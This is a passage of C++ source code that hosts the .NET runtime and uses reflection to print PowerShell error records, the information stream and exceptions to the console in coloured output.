goto exit;
|
|
|
|
if (!dotnet::System_Type_GetProperty(pAppDomain, vtErrorRecordType, L"Exception", &vtExceptionProperty))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtExceptionProperty, vtErrorRecord, &vtException))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Object_GetType(pAppDomain, vtException, &vtExceptionType))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Type_GetProperty(pAppDomain, vtExceptionType, L"Message", &vtExceptionMessageProperty))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtExceptionMessageProperty, vtException, &vtExceptionMessage))
|
|
goto exit;
|
|
|
|
SetConsoleTextColor(FOREGROUND_RED | FOREGROUND_INTENSITY, &wOldColor);
|
|
|
|
if (vtTargetObject.vt == VT_BSTR && vtExceptionMessage.vt == VT_BSTR)
|
|
{
|
|
wprintf(L"%ws : %ws\n", vtTargetObject.bstrVal, vtExceptionMessage.bstrVal);
|
|
}
|
|
else if (vtTargetObject.vt != VT_BSTR && vtExceptionMessage.vt == VT_BSTR)
|
|
{
|
|
wprintf(L". : %ws\n", vtExceptionMessage.bstrVal);
|
|
}
|
|
|
|
if (vtScriptStackTrace.vt == VT_BSTR)
|
|
{
|
|
wprintf(L"%ws\n", vtScriptStackTrace.bstrVal);
|
|
}
|
|
|
|
if (vtTargetObject.vt != VT_EMPTY)
|
|
{
|
|
sScriptStackTraceLen = wcslen(vtTargetObject.bstrVal);
|
|
wprintf(L"+ %ws\n", vtTargetObject.bstrVal);
|
|
wprintf(L"+ ");
|
|
for (int i = 0; i < sScriptStackTraceLen; i++) { wprintf(L"%ws", L"~"); }
|
|
wprintf(L"\n");
|
|
}
|
|
|
|
if (vtCategoryInfoMessage.vt == VT_BSTR)
|
|
{
|
|
wprintf(L" + CategoryInfo : %ws\n", vtCategoryInfoMessage.bstrVal);
|
|
}
|
|
|
|
if (vtFullyQualifiedErrorId.vt == VT_BSTR)
|
|
{
|
|
wprintf(L" + FullyQualifiedErrorId : %ws\n", vtFullyQualifiedErrorId.bstrVal);
|
|
}
|
|
|
|
if (wOldColor != 0)
|
|
{
|
|
SetConsoleTextColor(wOldColor, NULL);
|
|
}
|
|
|
|
wprintf(L"\n");
|
|
|
|
exit:
|
|
if (pErrorCategoryInfoGetMessageMethodInfo) pErrorCategoryInfoGetMessageMethodInfo->Release();
|
|
if (pErrorCategoryInfoType) pErrorCategoryInfoType->Release();
|
|
|
|
VariantClear(&vtExceptionMessage);
|
|
VariantClear(&vtExceptionMessageProperty);
|
|
VariantClear(&vtExceptionType);
|
|
VariantClear(&vtException);
|
|
VariantClear(&vtExceptionProperty);
|
|
VariantClear(&vtFullyQualifiedErrorId);
|
|
VariantClear(&vtFullyQualifiedErrorIdProperty);
|
|
VariantClear(&vtCategoryInfoMessage);
|
|
VariantClear(&vtCategoryInfo);
|
|
VariantClear(&vtCategoryInfoProperty);
|
|
VariantClear(&vtScriptStackTrace);
|
|
VariantClear(&vtScriptStackTraceProperty);
|
|
VariantClear(&vtTargetObject);
|
|
VariantClear(&vtTargetObjectProperty);
|
|
VariantClear(&vtErrorRecordType);
|
|
|
|
return;
|
|
}
|
|
|
|
void PrintPowerShellInformationStream(mscorlib::_AppDomain* pAppDomain, VARIANT vtInformationStream)
|
|
{
|
|
LONG lArgumentIndex;
|
|
VARIANT vtInformationStreamType = { 0 };
|
|
VARIANT vtInformationStreamCountProperty = { 0 };
|
|
VARIANT vtInformationStreamCount = { 0 };
|
|
VARIANT vtInformationStreamItemProperty = { 0 };
|
|
VARIANT vtIndex = { 0 };
|
|
VARIANT vtInformationRecord = { 0 };
|
|
SAFEARRAY* pIndex = NULL;
|
|
|
|
if (!dotnet::System_Object_GetType(pAppDomain, vtInformationStream, &vtInformationStreamType))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Type_GetProperty(pAppDomain, vtInformationStreamType, L"Count", &vtInformationStreamCountProperty))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtInformationStreamCountProperty, vtInformationStream, &vtInformationStreamCount))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Type_GetProperty(pAppDomain, vtInformationStreamType, L"Item", &vtInformationStreamItemProperty))
|
|
goto exit;
|
|
|
|
if (vtInformationStreamCount.lVal > 0)
|
|
{
|
|
//PRINT_INFO("One or more messages were printed while executing the input script (message count: %d).\n", vtInformationStreamCount.lVal);
|
|
wprintf(L"\n");
|
|
wprintf(L"+-------------------------------+\n");
|
|
wprintf(L"| POWERSHELL INFORMATION STREAM |\n");
|
|
wprintf(L"+-------------------------------+\n");
|
|
|
|
for (int i = 0; i < vtInformationStreamCount.lVal; i++)
|
|
{
|
|
InitVariantFromInt32(i, &vtIndex);
|
|
pIndex = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
|
lArgumentIndex = 0;
|
|
SafeArrayPutElement(pIndex, &lArgumentIndex, &vtIndex);
|
|
|
|
if (dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtInformationStreamItemProperty, vtInformationStream, pIndex, &vtInformationRecord))
|
|
{
|
|
PrintInformationRecord(pAppDomain, vtInformationRecord);
|
|
VariantClear(&vtInformationRecord);
|
|
}
|
|
|
|
SafeArrayDestroy(pIndex);
|
|
}
|
|
}
|
|
|
|
exit:
|
|
VariantClear(&vtInformationStreamItemProperty);
|
|
VariantClear(&vtInformationStreamCountProperty);
|
|
VariantClear(&vtInformationStreamType);
|
|
|
|
return;
|
|
}
|
|
|
|
//
|
|
// In PowerShell, non-terminating errors are stored in the attribute
|
|
// PowerShell.Streams.Error, which is a collection of ErrorRecord objects.
|
|
// Each ErrorRecord contains detailed information, such as an exception,
|
|
// and a stak trace.
|
|
//
|
|
void PrintPowerShellErrorStream(mscorlib::_AppDomain* pAppDomain, VARIANT vtErrorStream)
|
|
{
|
|
LONG lArgumentIndex;
|
|
VARIANT vtPSDataCollectionType = { 0 };
|
|
VARIANT vtPSDataCollectionCountProperty = { 0 };
|
|
VARIANT vtErrorStreamCount = { 0 };
|
|
VARIANT vtPSDataCollectionItemProperty = { 0 };
|
|
VARIANT vtIndex = { 0 };
|
|
VARIANT vtErrorRecord = { 0 };
|
|
SAFEARRAY* pIndex = NULL;
|
|
mscorlib::_Type* pErrorRecordType = NULL;
|
|
mscorlib::_MethodInfo* pToStringMethodInfo = NULL;
|
|
|
|
if (!dotnet::System_Object_GetType(pAppDomain, vtErrorStream, &vtPSDataCollectionType))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Type_GetProperty(pAppDomain, vtPSDataCollectionType, L"Count", &vtPSDataCollectionCountProperty))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtPSDataCollectionCountProperty, vtErrorStream, &vtErrorStreamCount))
|
|
goto exit;
|
|
|
|
if (!dotnet::System_Type_GetProperty(pAppDomain, vtPSDataCollectionType, L"Item", &vtPSDataCollectionItemProperty))
|
|
goto exit;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_MANAGEMENT_AUTOMATION, L"System.Management.Automation.ErrorRecord", &pErrorRecordType))
|
|
goto exit;
|
|
|
|
if (!clr::GetMethod(pErrorRecordType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), L"ToString", 0, &pToStringMethodInfo))
|
|
goto exit;
|
|
|
|
if (vtErrorStreamCount.lVal > 0)
|
|
{
|
|
wprintf(L"\n");
|
|
wprintf(L"+----------------------------------+\n");
|
|
wprintf(L"| POWERSHELL STANDARD ERROR STREAM |\n");
|
|
wprintf(L"+----------------------------------+\n");
|
|
|
|
for (int i = 0; i < vtErrorStreamCount.lVal; i++)
|
|
{
|
|
InitVariantFromInt32(i, &vtIndex);
|
|
pIndex = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
|
lArgumentIndex = 0;
|
|
SafeArrayPutElement(pIndex, &lArgumentIndex, &vtIndex);
|
|
|
|
if (dotnet::System_Reflection_PropertyInfo_GetValue(pAppDomain, vtPSDataCollectionItemProperty, vtErrorStream, pIndex, &vtErrorRecord))
|
|
{
|
|
PrintErrorRecord(pAppDomain, vtErrorRecord);
|
|
VariantClear(&vtErrorRecord);
|
|
}
|
|
|
|
SafeArrayDestroy(pIndex);
|
|
}
|
|
}
|
|
|
|
exit:
|
|
if (pToStringMethodInfo) pToStringMethodInfo->Release();
|
|
if (pErrorRecordType) pErrorRecordType->Release();
|
|
|
|
VariantClear(&vtPSDataCollectionType);
|
|
VariantClear(&vtPSDataCollectionCountProperty);
|
|
VariantClear(&vtPSDataCollectionItemProperty);
|
|
|
|
return;
|
|
}
|
|
|
|
void PrintPowerShellInvocationStateInfoReason(mscorlib::_AppDomain* pAppDomain, VARIANT vtReason)
|
|
{
|
|
WORD wOldColor = 0;
|
|
VARIANT vtExceptionAsString = { 0 };
|
|
mscorlib::_Type* pExceptionType = NULL;
|
|
mscorlib::_MethodInfo* pToStringMethod = NULL;
|
|
|
|
if (!clr::GetType(pAppDomain, ASSEMBLY_NAME_SYSTEM_RUNTIME, L"System.Exception", &pExceptionType))
|
|
goto exit;
|
|
|
|
if (!clr::GetMethod(pExceptionType, static_cast<mscorlib::BindingFlags>(BINDING_FLAGS_PUBLIC_INSTANCE), L"ToString", 0, &pToStringMethod))
|
|
goto exit;
|
|
|
|
if (!clr::InvokeMethod(pToStringMethod, vtReason, NULL, &vtExceptionAsString))
|
|
goto exit;
|
|
|
|
if (vtExceptionAsString.vt == VT_BSTR && wcslen(vtExceptionAsString.bstrVal) > 0)
|
|
{
|
|
//PRINT_ERROR("An exception was thrown while executing the input script.\n\n");
|
|
wprintf(L"\n");
|
|
wprintf(L"+-------------------------+\n");
|
|
wprintf(L"| POWERSHELL EXCEPTION(S) |\n");
|
|
wprintf(L"+-------------------------+\n");
|
|
|
|
SetConsoleTextColor(FOREGROUND_RED | FOREGROUND_INTENSITY, &wOldColor);
|
|
|
|
wprintf(L"%ws\n\n", vtExceptionAsString.bstrVal);
|
|
|
|
if (wOldColor != 0)
|
|
{
|
|
SetConsoleTextColor(wOldColor, NULL);
|
|
}
|
|
}
|
|
|
|
exit:
|
|
if (pToStringMethod) pToStringMethod->Release();
|
|
if (pExceptionType) pExceptionType->Release();
|
|
|
|
VariantClear(&vtExceptionAsString);
|
|
|
|
return;
|
|
}
|
|
|
|
void SetConsoleTextColor(WORD wColor, PWORD pwOldColor)
|
|
{
|
|
HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
|
|
CONSOLE_SCREEN_BUFFER_INFO csbi = { 0 };
|
|
WORD wAttributes;
|
|
|
|
if (!GetConsoleScreenBufferInfo(hStdOut, &csbi))
|
|
return;
|
|
|
|
if (pwOldColor)
|
|
{
|
|
*pwOldColor = csbi.wAttributes & 0x000f; // Extract and save current foreground color
|
|
}
|
|
|
|
wAttributes = csbi.wAttributes & 0xfff0; // Extract current attributes except foreground color
|
|
wAttributes |= wColor & 0x000f; // Apply input foreground color
|
|
|
|
SetConsoleTextAttribute(hStdOut, wAttributes);
|
|
|
|
return;
|
|
}
|